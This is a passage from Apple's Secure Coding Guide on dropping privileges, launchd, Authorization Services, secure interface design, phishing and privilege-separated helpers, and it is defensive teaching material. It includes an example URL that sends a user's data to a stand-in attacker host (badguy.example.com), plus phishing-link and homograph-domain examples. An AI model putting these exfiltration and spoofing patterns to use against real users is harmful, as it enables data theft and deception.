you have to drop the GID before dropping the UID. Once you’ve changed the UID, you may no longer have sufficient privileges to change the GID. Important: As with every security-related operation, you must check the return values of your calls to setuid, setgid, and related routines to make sure they succeeded. Otherwise you might still be running with elevated privileges when you think you have dropped privileges. For more information on permissions,see the “Permissions”section in the “Security Concepts” chapter in Security Overview. For information on setuid and related commands, see Setuid Demystified by Chen, Wagner, and Dean (Proceedings of the 11th USENIX Security Symposium, 2002), available at http://www.usenix.org/publications/library/proceedings/sec02/full_papers/chen/chen.pdf and the manual pages for setuid(2), setreuid(2), setregid(2), and setgroups(2). The setuid(2)manual page includesinformation about seteuid, setgid, and setegid as well. Here are some notes on the most commonly used system calls for changing privilege level: Elevating Privileges Safely Calls to Change Privilege Level 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 64● The setuid function sets the real and effective user IDs and the saved user ID of the current process to a specified value. The setuid function is the most confusing of the UID-setting system calls. Not only does the permission required to use this call differ among different UNIX-based systems, but the action of the call differs among different operating systems and even between privileged and unprivileged processes. If you are trying to set the effective UID, you should use the seteuid function instead. ● The setreuid function modifies the real UID and effective UID, and in some cases, the saved UID. The permission required to use this call differs among different UNIX-based systems, and the rule by which the saved UID is modified is complicated. For this function as well, if your intent is to set the effective UID, you should use the seteuid function instead. ● The seteuid function sets the effective UID, leaving the real UID and saved UID unchanged. In OS X, the effective user ID may be set to the value of the real user ID or of the saved set-user-ID. (In some UNIX-based systems, thisfunction allows you to set the EUID to any of the real UID,saved UID, or EUID.) Of the functions available on OS X that set the effective UID, the seteuid function is the least confusing and the least likely to be misused. ● The setgid function acts similarly to the setuid function, except that it sets group IDs rather than user IDs. It suffers from the same shortcomings as the setuid function; use the setegid function instead. ● The setregid function acts similarly to the setreuid function, with the same shortcomings; use the setegid function instead. ● The setegid function sets the effective GID. This function is the preferred call to use if you want to set the EGID. Avoiding Forking Off a Privileged Process There are a couple of functions you might be able to use to avoid forking off a privileged helper application. The authopen command lets you obtain temporary rights to create, read, or update a file. You can use the launchd daemon to start a process with specified privileges and a known environment. authopen When you run the authopen command, you provide the pathname of the file that you want to access. There are options for reading the file, writing to the file, and creating a new file. Before carrying out any of these operations, the authopen command requests authorization from the system security daemon, which authenticates the user (through a password dialog or other means) and determines whether the user has sufficient rights to carry out the operation. See the manual page for authopen(1) for the syntax of this command. Elevating Privileges Safely Avoiding Forking Off a Privileged Process 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 65launchd Starting with OS X v10.4, the launchd daemon is used to launch daemons and other programs automatically, without user intervention. (If you need to support systems running versions of the OS earlier than OS X v10.4, you can use startup items.) The launchd daemon can launch both systemwide daemons and per-user agents, and can restart those daemons and agents after they quit if they are still needed. You provide a configuration file that tells launchd the level of privilege with which to launch your routine. You can also use launchd to launch a privileged helper. By factoring your application into privileged and unprivileged processes, you can limit the amount of code running as the root user (and thus the potential attack surface). Be sure that you do not request higher privilege than you actually need, and always drop privilege or quit execution as soon as possible. There are several reasons to use launchd in preference to writing a daemon running as the root user or a factored application that forks off a privileged process: ● Because launchd launches daemons on demand, your daemon needs not worry about whether other services are available yet. When it makes a request for one of those services, the service gets started automatically in a manner that is transparent to your daemon. ● Because launchd itself runs as the root user, if your only reason for using a privileged process is to run a daemon on a low-numbered port, you can let launchd open that port on your daemon’s behalf and pass the open socket to your daemon, thus eliminating the need for your code to run as the root user. ● Because launchd can launch a routine with elevated privileges, you do not have to set the setuid or setgid bits for the helper tool. Any routine that has the setuid or setgid bit set is likely to be a target for attack by malicious users. ● A privileged routine started by launchd runs in a controlled environment that can’t be tampered with. If you launch a helper tool that has the setuid bit set, it inherits much of the launching application’s environment, including: ● Open file descriptors (unless their close-on-exec flag is set). ● Environment variables (unless you use posix_spawn, posix_spawnp, or an exec variant that takes an explicit environment argument). ● Resource limits. ● The command-line arguments passed to it by the calling process. ● Anonymous shared memory regions (unattached, but available to reattach, if desired). ● Mach port rights. There are probably others. It is much safer to use launchd, which completely controls the launch environment. Elevating Privileges Safely Avoiding Forking Off a Privileged Process 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 66● It’s much easier to understand and verify the security of a protocol between your controlling application and a privileged daemon than to handle the interprocess communication needed for a process you forked yourself. When you fork a process, it inheritsits environment from your application, including file descriptors and environment variables, which might be used to attack the process (see “The Hostile Environment and the Principle of Least Privilege” (page 60)). You can avoid these problems by using launchd to launch a daemon. ● It’s easier to write a daemon and launch it with launchd than to write factored code and fork off a separate process. ● Because launchd is a critical system component, it receives a lot of peer review by in-house developers at Apple. It is less likely to contain security vulnerabilities than most production code. ● The launchd.plist file includes key-value pairs that you can use to limit the system services—such as memory, number of files, and cpu time—that the daemon can use. For more information on launchd, see the manual pages for launchd, launchctl, and launchd.plist, and Daemons and Services Programming Guide . For more information about startup items, see Daemons and Services Programming Guide . Limitations and Risks of Other Mechanisms In addition to launchd, the following lesser methods can be used to obtain elevated privileges. In each case, you must understand the limitations and risks posed by the method you choose. ● setuid If an executable's setuid bit is set, the program runs as whatever user owns the executable regardless of which process launches it. There are two approaches to using setuid to obtain root (or another user’s) privileges while minimizing risk: ● Launch your program with root privileges, perform whatever privileged operations are necessary immediately, and then permanently drop privileges. ● Launch a setuid helper tool that runs only as long as necessary and then quits. If the operation you are performing needs a group privilege or user privilege other than root, you should launch your program or helper tool with that privilege only, not with root privilege, to minimize the damage if the program is hijacked. It’s important to note that if you are running with both a group ID (GID) and user ID (UID) that are different from those of the user, you have to drop the GID before dropping the UID. Once you’ve changed the UID, you can no longer change the GID. As with every security-related operation, you must check the return values of your calls to setuid, setgid, and related routines to make sure they succeeded. Elevating Privileges Safely Limitations and Risks of Other Mechanisms 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 67For more information about the use of the setuid bit and related routines, see “Elevating Privileges Safely” (page 59). ● SystemStarter When you put an executable in the /Library/StartupItems directory, it is started by the SystemStarter program at boot time. Because SystemStarter runs with root privileges, you can start your program with any level of privilege you wish. Be sure to use the lowest privilege level that you can use to accomplish your task, and to drop privilege as soon as possible. Startup items run daemons with root privilege in a single global session; these processes serve all users. For OS X v10.4 and later, the use of startup items is deprecated; use the launchd daemon instead. For more information on startup items and startup item privileges,see “Startup Items” in Daemons and Services Programming Guide . ● AuthorizationExecWithPrivilege The Authorization Services API provides the AuthorizationExecWithPrivilege function, which launches a privileged helper as the root user. Although this function can execute any process temporarily with root privileges, it is not recommended except for installersthat have to be able to run from CDs and self-repairing setuid tools. See Authorization Services Programming Guide for more information. ● xinetd In earlier versions of OS X, the xinetd daemon was launched with root privileges at system startup and subsequently launched internetservices daemons when they were needed. The xinetd.conf configuration file specified the UID and GID of each daemon started and the port to be used by each service. Starting with OS X v10.4, you should use launchd to perform the services formerly provided by xinetd. SeeDaemonsandServicesProgrammingGuide forinformation about convertingfromxinetdtolaunchd. See the manual pages for xinetd(8) and xinetd.conf(5) for more information about xinetd. ● Other If you are using some other method to obtain elevated privilege for your process, you should switch to one of the methods described here and follow the cautions described in this chapter and in “Elevating Privileges Safely” (page 59). Elevating Privileges Safely Limitations and Risks of Other Mechanisms 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 68Factoring Applications If you’ve read this far and you’re still convinced you need to factor your application into privileged and nonprivileged processes, this section provides some tips and sample code. In addition, see Authorization Services Programming Guide for more advice on the use of Authorization Services and the proper way to factor an application. As explained in the Authorization Services documentation, it is very important that you check the user’s rights to perform the privileged operation, both before and after launching your privileged helper tool. Your helper tool, owned by root and with the setuid bit set, has sufficient privileges to perform whatever task it has to do. However, if the user doesn’t have the rights to perform this task, you shouldn’t launch the tool and—if the tool gets launched anyway—the tool should quit without performing the task. Your nonprivileged process should first use Authorization Services to determine whether the user is authorized and to authenticate the user if necessary (this is called preauthorizing ; see Listing 5-1 (page 70)). Then launch your privileged process. The privileged process then should authorize the user again, before performing the task that requires elevated privileges; see Listing 5-2 (page 71). As soon as the task is complete, the privileged process should terminate. In determining whether a user has sufficient privileges to perform a task, you should use rights that you have defined and put into the policy database yourself. If you use a right provided by the system or by some other developer, the user might be granted authorization for that right by some other process, thus gaining privileges to your application or access to data that you did not authorize or intend. For more information about policies and the policy database, (see the section “The Policy Database” in the “Authorization Concepts” chapter of Authorization Services Programming Guide ). In the code samples shown here, the task that requires privilege is killing a process that the user does not own. Example: Preauthorizing If a user tries to kill a process that he doesn’t own, the application has to make sure the user is authorized to do so. The following numbered items correspond to comments in the code sample: 1. If the process is owned by the user, and the process is not the window server or the login window, go ahead and kill it. 2. Call the permitWithRight method to determine whether the user has the right to kill the process. The application must have previously added this right—in this example, called com.apple.processkiller.kill—to the policy database. The permitWithRight method handles the interaction with the user (such as an authentication dialog). If this method returns 0, it completed without an error and the user is considered preauthorized. 3. Obtain the authorization reference. 4. Create an external form of the authorization reference. 5. Create a data object containing the external authorization reference. Elevating Privileges Safely Factoring Applications 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 696. Pass this serialized authorization reference to the setuid tool that will kill the process (Listing 5-2 (page 71)). Listing 5-1 Non-privileged process if (ownerUID == _my_uid && ![[contextInfo processName] isEqualToString:@"WindowServer"] && ![[contextInfo processName] isEqualToString:@"loginwindow"]) { [self killPid:pid withSignal:signal]; // 1 } else { SFAuthorization *auth = [SFAuthorization authorization]; if (![auth permitWithRight:"com.apple.proccesskiller.kill" flags: kAuthorizationFlagDefaults|kAuthorizationFlagInteractionAllowed| kAuthorizationFlagExtendRights|kAuthorizationFlagPreAuthorize]) // 2 { AuthorizationRef authRef = [auth authorizationRef]; // 3 AuthorizationExternalForm authExtForm; OSStatus status = AuthorizationMakeExternalForm(authRef, &authExtForm);// 4 if (errAuthorizationSuccess == status) { NSData *authData = [NSData dataWithBytes: authExtForm.bytes length: kAuthorizationExternalFormLength]; // 5 [_agent killProcess:pid signal:signal authData: authData]; // 6 } } } The external tool is owned by root and has its setuid bit set so that it runs with root privileges. It imports the externalized authorization rights and checks the user’s authorization rights again. If the user has the rights, the tool killsthe process and quits. The following numbered items correspond to commentsin the code sample: 1. Convert the external authorization reference to an authorization reference. 2. Create an authorization item array. 3. Create an authorization rights set. Elevating Privileges Safely Factoring Applications 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 704. Call the AuthorizationCopyRights function to determine whether the user has the right to kill the process. You pass this function the authorization reference. If the credentials issued by the Security Server when it authenticated the user have not yet expired, this function can determine whether the user is authorized to kill the process without reauthentication. If the credentials have expired, the Security Server handles the authentication (for example, by displaying a password dialog). (You specify the expiration period for the credentials when you add the authorization right to the policy database.) 5. If the user is authorized to do so, kill the process. 6. If the user is not authorized to kill the process, log the unsuccessful attempt. 7. Release the authorization reference. Listing 5-2 Privileged process AuthorizationRef authRef = NULL; OSStatus status = AuthorizationCreateFromExternalForm( (AuthorizationExternalForm *)[authData bytes], &authRef); // 1 if ((errAuthorizationSuccess == status) && (NULL != authRef)) { AuthorizationItem right = {"com.apple.proccesskiller.kill", 0L, NULL, 0L}; // 2 AuthorizationItemSet rights = {1, &right}; // 3 status = AuthorizationCopyRights(authRef, &rights, NULL, kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed | kAuthorizationFlagExtendRights, NULL); // 4 if (errAuthorizationSuccess == status) kill(pid, signal); // 5 else NSLog(@"Unauthorized attempt to signal process %d with %d", pid, signal); // 6 AuthorizationFree(authRef, kAuthorizationFlagDefaults); // 7 } Helper Tool Cautions If you write a privileged helper tool, you need to be very careful to examine your assumptions. For example, you should always check the results of function calls; it is dangerousto assume they succeeded and to proceed on that assumption. You must be careful to avoid any of the pitfalls discussed in this document, such as buffer overflows and race conditions. Elevating Privileges Safely Factoring Applications 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 71If possible, avoid linking in any extra libraries. If you do have to link in a library, you must not only be sure that the library has no security vulnerabilities, but also that it doesn’t link in any other libraries. Any dependencies on other code potentially open your code to attack. In order to make your helper tool as secure as possible, you should make it as short as possible—have it do only the very minimum necessary and then quit. Keeping it short makes it less likely that you made mistakes, and makes it easier for others to audit your code. Be sure to get a security review from someone who did not help write the tool originally. An independent reviewer is less likely to share your assumptions and more likely to spot vulnerabilities that you missed. Authorization and Trust Policies In addition to the basic permissions provided by BSD, the OS X Authorization Services API enables you to use the policy database to determine whether an entity should have access to specific features or data within your application. Authorization Services includes functions to read, add, edit, and delete policy database items. You should define your own trust policies and put them in the policy database. If you use a policy provided by the system or by some other developer, the user might be granted authorization for a right by some other process, thus gaining privileges to your application or access to data that you did not authorize or intend. Define a different policy for each operation to avoid having to give broad permissions to users who need only narrow privileges. For more information about policies and the policy database, see the section “The Policy Database” in the “Authorization Concepts” chapter of Authorization Services Programming Guide . Authorization Services does not enforce access controls; rather, it authenticates users and lets you know whether they have permission to carry out the action they wish to perform. It is up to your program to either deny the action or carry it out. Security in a KEXT Because kernel extensions have no user interface, you cannot call Authorization Servicesto obtain permissions that you do not already have. However, in portions of your code that handle requests from user space, you can determine what permissions the calling process has, and you can evaluate access control lists (ACLs; see the section “ACLs” in the “Security Concepts” section of Security Overview). In OS X v10.4 and later, you can also use the Kernel Authorization (Kauth) subsystem to manage authorization. For more information on Kauth, see Technical Note TN2127, Kernel Authorization (http://developer.apple.com/technotes/tn2005/tn2127.html). Elevating Privileges Safely Authorization and Trust Policies 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 72The user is often the weak link in the security of a system. Many security breaches have been caused by weak passwords, unencrypted filesleft on unprotected computers, and successfulsocial engineering attacks. Therefore, it is vitally important that your program’s user interface enhance security by making it easy for the user to make secure choices and avoid costly mistakes. In a social engineering attack, the user is tricked into either divulging secret information or running malicious code. For example, the Melissa virus and the Love Letter worm each infected thousands of computers when users downloaded and opened files sent in email. This chapter discusses how doing things that are contrary to user expectations can cause a security risk, and gives hints for creating a user interface that minimizes the risk from social engineering attacks. Secure human interface design is a complex topic affecting operating systems as well as individual programs. This chapter gives only a few hints and highlights. For an extensive discussion of this topic, see Cranor and Garfinkel, Security and Usability: Designing Secure Systems that People Can Use , O’Reilly, 2005. There is also an interesting weblog on this subject maintained by researchers at the University of California at Berkeley (http://usablesecurity.com/). Use Secure Defaults Most users use an application’s default settings and assume that they are secure. If they have to make specific choices and take multiple actions in order to make a program secure, few will do so. Therefore, the default settings for your program should be as secure as possible. For example: ● If your program launches other programs, it should launch them with the minimum privileges they need to run. ● If your program supports optionally connecting by SSL, the checkbox should be checked by default. ● If your program displays a user interface that requires the user to decide whether to perform a potentially dangerous action, the default option should be the safe choice. If there is no safe choice, there should be no default. (See “UI Element Guidelines: Controls” in OS X Human Interface Guidelines.) And so on. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 73 Designing Secure User InterfacesThere is a common belief that security and convenience are incompatible. With careful design, this does not have to be so. In fact, it is very important that the user not have to sacrifice convenience for security, because many users will choose convenience in thatsituation. In many cases, a simpler interface is more secure, because the user is less likely to ignore security features and less likely to make mistakes. Whenever possible, you should make security decisions for your users: in most cases, you know more about security than they do, and if you can’t evaluate the evidence to determine which choice is most secure, the chances are your users will not be able to do so either. For a detailed discussion of this issue and a case study, see the article “Firefox and the Worry-Free Web” in Cranor and Garfinkel, Security and Usability: Designing Secure Systems that People Can Use . Meet Users’ Expectations for Security If your program handles data that the user expects to be kept secret, make sure that you protect that data at all times. That means not only keeping it in a secure location or encrypting it on the user’s computer, but not handing it off to another program unless you can verify that the other program will protect the data, and not transmitting it over an insecure network. If for some reason you cannot keep the data secure, you should make this situation obvious to users and give them the option of canceling the insecure operation. Important: The absence of an indication that an operation is secure is not a good way to inform the user that the operation is insecure. A common example of this is any web browser that adds a lock icon (usually small and inconspicuous) on web pages that are protected by SSL/TLS or some similar protocol. The user has to notice that this icon is not present (or that it’s in the wrong place, in the case of a spoofed web page) in order to take action. Instead, the program should prominently display some indication for each web page or operation that is not secure. The user must be made aware of when they are granting authorization to some entity to act on their behalf or to gain access to their files or data. For example, a program might allow users to share files with other users on remote systems in order to allow collaboration. In this case, sharing should be off by default. If the user turns it on, the interface should make clear the extent to which remote users can read from and write to files on the local system. If turning on sharing for one file also lets remote users read any other file in the same folder, for example, the interface must make this clear before sharing is turned on. In addition, as long as sharing is on, there should be some clear indication that it is on, lest users forget that their files are accessible by others. Designing Secure User Interfaces Meet Users’ Expectations for Security 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 74Authorization should be revocable: if a user grants authorization to someone, the user generally expects to be able to revoke that authorization later. Whenever possible, your program should not only make this possible, it should make it easy to do. If for some reason it will not be possible to revoke the authorization, you should make that clear before granting the authorization. You should also make it clear that revoking authorization cannot reverse damage already done (unless your program provides a restore capability). Similarly, any other operation that affects security but that cannot be undone should either not be allowed or the user should be made aware of the situation before they act. For example, if all files are backed up in a central database and can’t be deleted by the user, the user should be aware of that fact before they record information that they might want to delete later. As the user’s agent, you must carefully avoid performing operations that the user does not expect or intend. For example, avoid automatically running code if it performsfunctionsthat the user has not explicitly authorized. Secure All Interfaces Some programs have multiple user interfaces, such as a graphical user interface, a command-line interface, and an interface for remote access. If any of these interfaces require authentication (such as with a password), then all the interfaces should require it. Furthermore, if you require authentication through a command line or remote interface, be sure the authentication mechanism is secure—don’t transmit passwords in cleartext, for example. Place Files in Secure Locations Unless you are encrypting all output, the location where you save files has important security implications. For example: ● FileVault can secure the root volume (or the user’s home folder prior to OS X v10.7), but not other locations where the user might choose to place files. ● Folder permissions can be set in such a way that others can manipulate their contents. You should restrict the locations where users can save files if they contain information that must be protected. If you allow the user to select the location to save files, you should make the security implications of a particular choice clear; specifically, they must understand that, depending on the location of a file, it might be accessible to other applications or even remote users. Designing Secure User Interfaces Secure All Interfaces 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 75Make Security Choices Clear Most programs, upon detecting a problem or discrepancy, display a dialog box informing the user of the problem. Often this approach does not work, however. For one thing, the user might not understand the warning or its implications. For example, if the dialog warns the user that the site to which they are connecting has a certificate whose name does not match the name of the site, the user is unlikely to know what to do with that information, and is likely to ignore it. Furthermore, if the program puts up more than a few dialog boxes, the user is likely to ignore all of them. To solve this problem, when giving the user a choice that has security implications, make the potential consequences of each choice clear. The user should never be surprised by the results of an action. The choice given to the user should be expressed in terms of consequences and trade-offs, not technical details. For example, a choice of encryption methods should be based on the level of security (expressed in simple terms,such asthe amount of time it might take to break the encryption) versusthe time and disk space required to encrypt the data, rather than on the type of algorithm and the length of the key to be used. If there are no practical differences of importance to the user (as when the more secure encryption method is just as efficient as the less-secure method), just use the most secure method and don’t give the user the choice at all. Be sensitive to the fact that few users are security experts. Give as much information—in clear, nontechnical terms—as necessary for them to make an informed decision. In some cases, it might be best not to give them the option of changing the default behavior. For example, most users don’t know what a digital certificate is, let alone the implications of accepting a certificate signed by an unknown authority. Therefore, it is probably not a good idea to let the user permanently add an anchor certificate (a certificate that is trusted for signing other certificates) unless you can be confident that the user can evaluate the validity of the certificate. (Further, if the user is a security expert, they’ll know how to add an anchor certificate to the keychain without the help of your application anyway.) If you are providing security features, you should make their presence clear to the user. For example, if your mail application requires the user to double click a small icon in order to see the certificate used to sign a message, most users will never realize that the feature is available. In an often-quoted but rarely applied monograph, Jerome Saltzer and Michael Schroeder wrote “It is essential that the human interface be designed for ease of use, so that users routinely and automatically apply the protection mechanisms correctly. Also, to the extent that the user’s mental image of his protection goals matchesthe mechanisms he must use, mistakes will be minimized. If he must translate hisimage of his protection needs into a radically different specification language, he will make errors.” (Saltzer and Schroeder, “The Protection of Information in Computer Systems,” Proceedings of the IEEE 63:9, 1975.) Designing Secure User Interfaces Make Security Choices Clear 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 76For example, you can assume the user understandsthat the data must be protected from unauthorized access; however, you cannot assume the user has any knowledge of encryption schemes or knows how to evaluate password strength. In this case, your program should present the user with choices like the following: ● “Is your computer physically secure, or is it possible that an unauthorized user will have physical access to the computer?” ● “Is your computer connected to a network?” From the user’s answers, you can determine how best to protect the data. Unless you are providing an “expert” mode, do not ask the user questions like the following: ● “Do you want to encrypt your data, and if so, with which encryption scheme?” ● “How long a key should be used?” ● “Do you want to permit SSH access to your computer?” These questions don’t correspond with the user’s view of the problem. Therefore, the user’s answers to such questions are likely to be erroneous. In this regard, it is very important to understand the user’s perspective. Very rarely is an interface thatseemssimple or intuitive to a programmer actually simple or intuitive to average users. To quote Ka-Ping Yee (User Interaction Design for Secure Systems, at http://www.eecs.berkeley.edu/Pubs/TechRpts/2002/CSD-02-1184.pdf): In order to have a chance of using a system safely in a world of unreliable and sometimes adversarial software, a user needs to have confidence in all of the following statements: ● Things don’t become unsafe all by themselves. (Explicit Authorization) ● I can know whether things are safe. (Visibility) ● I can make things safer. (Revocability) ● I don’t choose to make things unsafe. (Path of Least Resistance) ● I know what I can do within the system. (Expected Ability) ● I can distinguish the things that matter to me. (Appropriate Boundaries) ● I can tell the system what I want. (Expressiveness) ● I know what I’m telling the system to do. (Clarity) ● The system protects me from being fooled. (Identifiability, Trusted Path) For additional tips, read “Dialogs” in OS X Human Interface Guidelines and “Alerts, Action Sheets, and Modal Views” in iOS Human Interface Guidelines. Designing Secure User Interfaces Make Security Choices Clear 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 77Fight Social Engineering Attacks Social engineering attacks are particularly difficult to fight. In a social engineering attack, the attacker fools the user into executing attack code or giving up private information. A common form of social engineering attack is referred to as phishing . Phishing refers to the creation of an official-looking email or web page that fools the user into thinking they are dealing with an entity with which they are familiar,such as a bank with which they have an account. Typically, the user receives an email informing them that there is something wrong with their account, and instructing them to click on a link in the email. The link takes them to a web page that spoofs a real one; that is, it includes icons, wording, and graphical elements that echo those the user is used to seeing on a legitimate web page. The user is instructed to enter such information as their social security number and password. Having done so, the user has given up enough information to allow the attacker to access the user’s account. Fighting phishing and other social engineering attacks is difficult because the computer’s perception of an email or web page is fundamentally different from that of the user. For example, consider an email containing a link to http://scamsite.example.com/ but in which the link’s text says Apple Web Store. From the computer’s perspective, the URL links to a scam site, but from the user’s perspective, it links to Apple’s online store. The user cannot easily tell that the link does not lead to the location they expect until they see the URL in their browser; the computer similarly cannot determine that the link’s text is misleading. To further complicate matters, even when the user looks at the actual URL, the computer and user may perceive the URL differently. The Unicode characterset includes many charactersthat look similar or identical to common English letters. For example, the Russian glyph that is pronounced like “r” looks exactly like an English “p” in many fonts, though it has a different Unicode value. These characters are referred to as homographs. When web browsers began to support internationalized domain names (IDN), some phishers set up websites that looked identical to legitimate ones, using homographs in their web addresses to fool users into thinking the URL was correct. Some creative techniques have been tried for fighting social engineering attacks, including trying to recognize URLsthat are similar to, but not the same as, well-known URLs, using private email channelsfor communications with customers, using emailsigning, and allowing usersto see messages only if they come from known, trusted sources. All of these techniques have problems, and the sophistication ofsocial engineering attacksisincreasing all the time. For example, to foil the domain name homograph attack, many browsers display internationalized domain names IDN) in an ASCII format called “Punycode.” For example, an impostor website with the URL http://www.apple.com/ that uses a Roman script for all the characters except for the letter “a”, for which it uses a Cyrillic character, is displayed as http://www.xn--pple-43d.com. Designing Secure User Interfaces Fight Social Engineering Attacks 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 78Different browsers use different schemes when deciding which internationalized domain names to show and which ones to translate. For example, Safari uses this form when a URL contains characters in two or more scripts that are not allowed in the same URL, such as Cyrillic characters and traditional ASCII characters. Other browsers consider whether the characterset is appropriate for the user’s default language. Still others maintain a whitelist of registries that actively prevent such spoofing and use punycode for domains from all other registries. For a more in-depth analysis of the problem, more suggested approaches to fighting it, and some case studies, see Security and Usability: Designing Secure Systems that People Can Use by Cranor and Garfinkel. To learn more aboutsocial engineering techniquesin general, read The Art of Deception: Controlling the Human Element of Security by Mitnick, Simon, and Wozniak. Use Security APIs When Possible One way to avoid adding security vulnerabilities to your code is to use the available security APIs whenever possible. The Security Interface Framework API provides a number of user interface viewsto support commonly performed security tasks. iOS Note: The Security Interface Framework is not available in iOS. In iOS, applications are restricted in their use of the keychain, and it is not necessary for the user to create a new keychain or change keychain settings. The Security Interface Framework API provides the following views: ● TheSFAuthorizationView class implements an authorization view in a window. An authorization view is a lock icon and accompanying text that indicates whether an operation can be performed. When the user clicks a closed lock icon, an authorization dialog displays. Once the user is authorized, the lock icon appears open. When the user clicksthe open lock, Authorization Servicesrestricts access again and changes the icon to the closed state. ● The SFCertificateView and SFCertificatePanel classes display the contents of a certificate. ● The SFCertificateTrustPanel class displays and optionally lets the user edit the trust settings in a certificate. ● The SFChooseIdentityPanel class displays a list of identities in the system and lets the user select one. (In this context, identity refers to the combination of a private key and its associated certificate.) ● The SFKeychainSavePanel class adds an interface to an application that lets the user save a new keychain. The user interface is nearly identical to that used for saving a file. The difference is that this class returns a keychain in addition to a filename and lets the user specify a password for the keychain. Designing Secure User Interfaces Use Security APIs When Possible 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 79● The SFKeychainSettingsPanel class displays an interface that lets the user change keychain settings. Documentation for the Security Interface framework is in Security Interface Framework Reference . Designing Secure User Interfaces Use Security APIs When Possible 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 80Privilege separation is a common technique for making applications more secure. By breaking up an application into functional units that each require fewer privileges, you can make it harder to do anything useful with any single part of that application if someone successfully compromises it. However, without proper design, a privilege-separated app is not significantly more secure than a non-privilege-separated app. For proper security, each part of the app must treat other parts of the app as untrusted and potentially hostile. To that end, this chapter provides dos and don’ts for designing a helper app. There are two different ways that you can perform privilege separation: ● Creating a pure computation helper to isolate risky operations. Thistechnique requiresthe main application to be inherently suspicious of any data that the helper returns, but does not require that the helper be suspicious of the application. ● Creating a helper or daemon to perform tasks without granting the application the right to perform them. This requires not only that the main application not trust the helper, but also that the helper not trust the main application. The techniques used for securing the two types of helpers differ only in the level of paranoia required by the helper. Avoid Puppeteering When a helper application is so tightly controlled by the main application that it does not make any decisions by itself, thisis called puppeteering. Thisisinherently bad design because if the application gets compromised, the attacker can then control the helper similarly, in effect taking over pulling the helper’s “strings”. This completely destroys the privilege separation boundary. Therefore, unless you are creating a pure computation helper, splitting code into a helper application that simply does whatever the main app tells it to do is usually not a useful division of labor. In general, a helper must be responsible for deciding whether or not to perform a particular action. If you look at the actions that an application can perform with and without privilege separation, those lists should be different; if they are not, then you are not gaining anything by separating the functionality out into a separate helper. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 81 Designing Secure Helpers and DaemonsFor example, consider a helper that downloads help content for a word processor. If the helper fetches any arbitrary URL that the word processor sends it, the helper can be trivially exploited to send arbitrary data to an arbitrary server. For example, an attacker who took control of the browser could tell the helper to access the URL http://badguy.example.com/saveData?hereIsAnEncodedCopyOfTheUser%27sData. The subsections that follow describe solutions for this problem. Use Whitelists One way to fix this is with whitelists. The helper should include a specific list of resources that it can access. For example, this helper could include: ● A host whitelist that includes only the domain example.org. Requests to URLs in that domain would succeed, but the attacker could not cause the helper to access URLs in a different domain. ● An allowed path prefix whitelist. The attacker would not be able to use cross-site scripting on the example.org bulletin board to redirect the request to another location. (This applies mainly to apps using a web UI.) You can also avoid this by handling redirection manually. ● An allowed file type whitelist. This could limit the helper to the expected types of files. (Note that file type whitelists are more interesting for helpers that access files on the local hard drive.) ● A whitelist of specific URIs to which GET or POST operations are allowed. Use Abstract Identifiers and Structures A second way to avoid puppeteering is by abstracting away the details of the request itself, using data structures and abstract identifiers instead of providing URIs, queries, and paths. A trivial example of thisis a help system. Instead of the app passing a fully-formed URI for a help search request, it might pass a flag field whose value tells the helper to “search by name” or “search by title” and a string value containing the search string. This flag field is an example of an abstract identifier; it tells the helper what to do without telling it how to do it. Taken one step further, when the helper returns a list of search results, instead of returning the names and URIs for the result pages, it could return the names and an opaque identifier (which may be an index into the last set of search results). By doing so, the application cannot access arbitrary URIs because it never interacts with the actual URIs directly. Similarly, if you have an application that works with project files that reference other files, in the absence of API to directly support this, you can use a temporary exception to give a helper access to all files on the disk. To make this more secure, the helpershould provide access only to filesthat actually appear in the user-opened Designing Secure Helpers and Daemons Avoid Puppeteering 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 82project. The helper might do this by requiring the application to request files by some arbitrary identifier generated by the helper rather than by name or path. This makes it harder for the application to ask the helper to open arbitrary files. This can further be augmented with sniffing, as described in “Use the Smell Test” (page 83). The same concept can be extended to other areas. For example, if the application needs to change a record in a database, the helper could send the record as a data structure, and the app could send back the altered data structure along with an indication of which values need to change. The helper could then verify the correctness of the unaltered data before modifying the remaining data. Passing the data abstractly also allows the helper to limit the application’s access to other database tables. It also allows the helper to limit what kinds of queries the application can perform in ways that are more fine-grained than would be possible with the permissions system that most databases provide. Use the Smell Test If a helper application has access to files that the main application cannot access directly, and if the main application asks the helper to retrieve the contents of that file, it is useful for the helper to perform tests on the file before sending the data to ensure that the main application has not substituted a symbolic link to a different file. In particular, it is useful to compare the file extension with the actual contents of the file to see whether the bytes on disk make sense for the apparent file type. This technique is called file type sniffing. For example, the first few bytes of any image file usually provide enough information to determine the file type. If the first four bytes are JFIF, the file is probably a JPEG image file. If the first four bytes are GIF8, the file is probably a GIF image file. If the first four bytes are MM.* or II*., the file is probably a TIFF file. And so on. If the request passes this smell test, then the odds are good that the request is not malicious. Treat Both App and Helper as Hostile Because the entire purpose of privilege separation is to prevent an attacker from being able to do anything useful after compromising one part of an application, both the helper and the app must assume that the other party is potentially hostile. This means each piece must: ● Avoid buffer overflows (“Avoiding Buffer Overflows And Underflows” (page 17)). ● Validate all input from the other side (“Validating Input And Interprocess Communication” (page 33)). ● Avoid insecure interprocess communication mechanisms (“Validating Input And Interprocess Communication” (page 33)) ● Avoid race conditions (“Avoiding Race Conditions” (page 43)). Designing Secure Helpers and Daemons Treat Both App and Helper as Hostile 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 83● Treat the contents of any directory or file to which the other process has write access as fundamentally untrusted (“Securing File Operations” (page 47)). This list potentially includes: ● The entire app container 